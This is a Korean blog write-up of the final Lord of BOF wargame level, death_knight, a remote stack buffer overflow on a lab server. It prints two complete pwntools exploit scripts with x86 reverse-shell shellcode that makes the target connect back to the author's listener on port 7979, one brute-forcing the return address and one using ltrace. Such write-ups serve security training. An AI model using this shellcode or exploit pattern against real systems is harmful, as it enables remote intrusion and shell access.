IMyoungho 2019. 3. 24. 16:42


혹시나 이상하거나 잘못된 것이 있다면 댓글 부탁드립니다.



드디어 마지막 문제이다! 코드를 보도록 하자!!

힌트는 Remote BOF이다. 버퍼의 크기는 40인데 입력할 수 있는 크기는

 256이므로 아주 쉽게 BOF취약점을 가진 코드를 찾을 수 있다.


이제 이 코드를 어떻게 이용하느냐에 따라 이 문제를 풀 수 있을 것 같다.

우선 프로그램을 실행시켜보겠다!


참고로 나는 두 가지 방법으로 풀기위해서 포트번호가 6667로 

death_knight파일을 하나 더 빌드해놓았다.



또잉?? 이미 실행중이다..



실행 중인 것을 확인했다. 소스코드에서 해당 포트번호가 6666이란걸 알았기때문에 접속해보도록 하겠다.



일단은 포트 6667파일로 실행시켜보았다.

입력창이 나왔고 버퍼에 값을 입력할 수 있었다.







이 입력(recv)을 이용해서 공격을 진행할 수 있는데 위에서 말했듯이 두 가지 방법이 있다.


1. Reverse Shellcode 사용하기

2. Shellcode & ltrace 사용하기




1. Reverse Shellcode 사용하기


1번부터 진행해보도록 하겠다. 우선 Reverse Shellcode를 생성해보겠다.

pead의 shellcode generate기능을 이용하면 간편하게 만들 수 있다~

해당 Shellcode는 서버가 7979포트로 나의 pc에 접속하게 만드는 Shellcode이다.

다만든 Shellcode를 이용해서 쉘코드를 짜보도록 하자!!



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
 
shell="\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"\
    "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x01\x70\x66\x68"\
    "\x1f\x2b\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"\
    "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"\
    "\x89\xe1\xb0\x0b\xcd\x80"
 
 
 
for i in range (0xFF,0x00,-1):
    for j in range(0x00,0xFF,10):
        p = remote("192.168.1.58",6666)
        print str(hex(u32(chr(j)+chr(i)+"\xff\xbf")))
        payload = "A"*44
        payload += chr(j)+chr(i)+"\xff\xbf"
        payload += "\x90"*100
        payload += shell
        print p.recvuntil("You : ")
        p.send(payload)
        p.close()
cs

서버 프로그램이 때문에 쉘코드가 저장된 버퍼의 정확한 주소를

 알기 어려워서 ret값을 정확히 줄 수가 없다.

그러므로 Brute force하도록 exploit 코드를 짜야한다.

0xBFFF0000을 생각하고 하위 4Byte만 Brute Force하였다.


해당 코드를 작동시키기 전에 서버가 나의 7979포트로 접속하도록 만든
Shellcode이기 때문에 
7979 포트를 열어놓고 기다려야한다.


< nc -lvp 7979로 대기중 > 

아래의 그림처럼 코드가 실행되면서 Brute Force가 진행되면서 쉘이 따진다.



< exploit코드 실행 중 >




2. Shellcode & ltrace 사용하기

전제조건이 있는데 바로 서버가 fork를 사용해야한다는 것이다. 우선 복사본에
ltrace -f 명령어를 이용해서 fork를 사용하는지 확인해보자.

복사본을 서버프로그램을 실행시킨 뒤, 해당 서버프로그램에 접속했더니

또잉~ 바로 버퍼의 주소가 바로보이고 fork를 사용한다는 것도 확인할 수 있었다.

버퍼의 주소가 0xbffffac0임을 알았으니 여기에 buffer + sfp(4) + ret(4)를 하면

0xbffffaf0가 되고 이곳에  Reverse Shellcode를 넣어주고 ret를 0xbffffaf0으로 주면

Shellcode가 실행될고 쉘이 따질 것이다!

이 방법을 사용하면  버퍼의 정확한 위치를 알 수 있기 때문에 Brute force가 필요없다!



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*
 
 
shell="\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"\
    "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x01\x70\x66\x68"\
    "\x1f\x2b\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"\
    "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"\
    "\x89\xe1\xb0\x0b\xcd\x80"
 
= remote ("192.168.1.58",6666)
payload = "\x90"*44
payload += "\xf0\xfa\xff\xbf"
payload += shell
p.recvuntil("You : ")
p.send(payload)
p.close()
 
 
 
cs
이런식으로 exploit 코드를 짜고 아까처럼 포트를 열어 기다려보자~


코드를 실행했더니~


쉘이 넘어왔다~


이제 원본 서버프로그램에서 진행해보자.

kill 명령어를 이용해서 실행중이었던 death_knight를 끄고 다시 위처럼 실행했다.


깔끔하게 쉘이 넘어왔다~~



짝짝짝~~~~ 이것으로  드디어 LOB가 모두 끝났다. 

꿀팁과 정확한 개념을 잡도록 도와준 py0zz1에게 감사한다


~ 끝 ~


반응형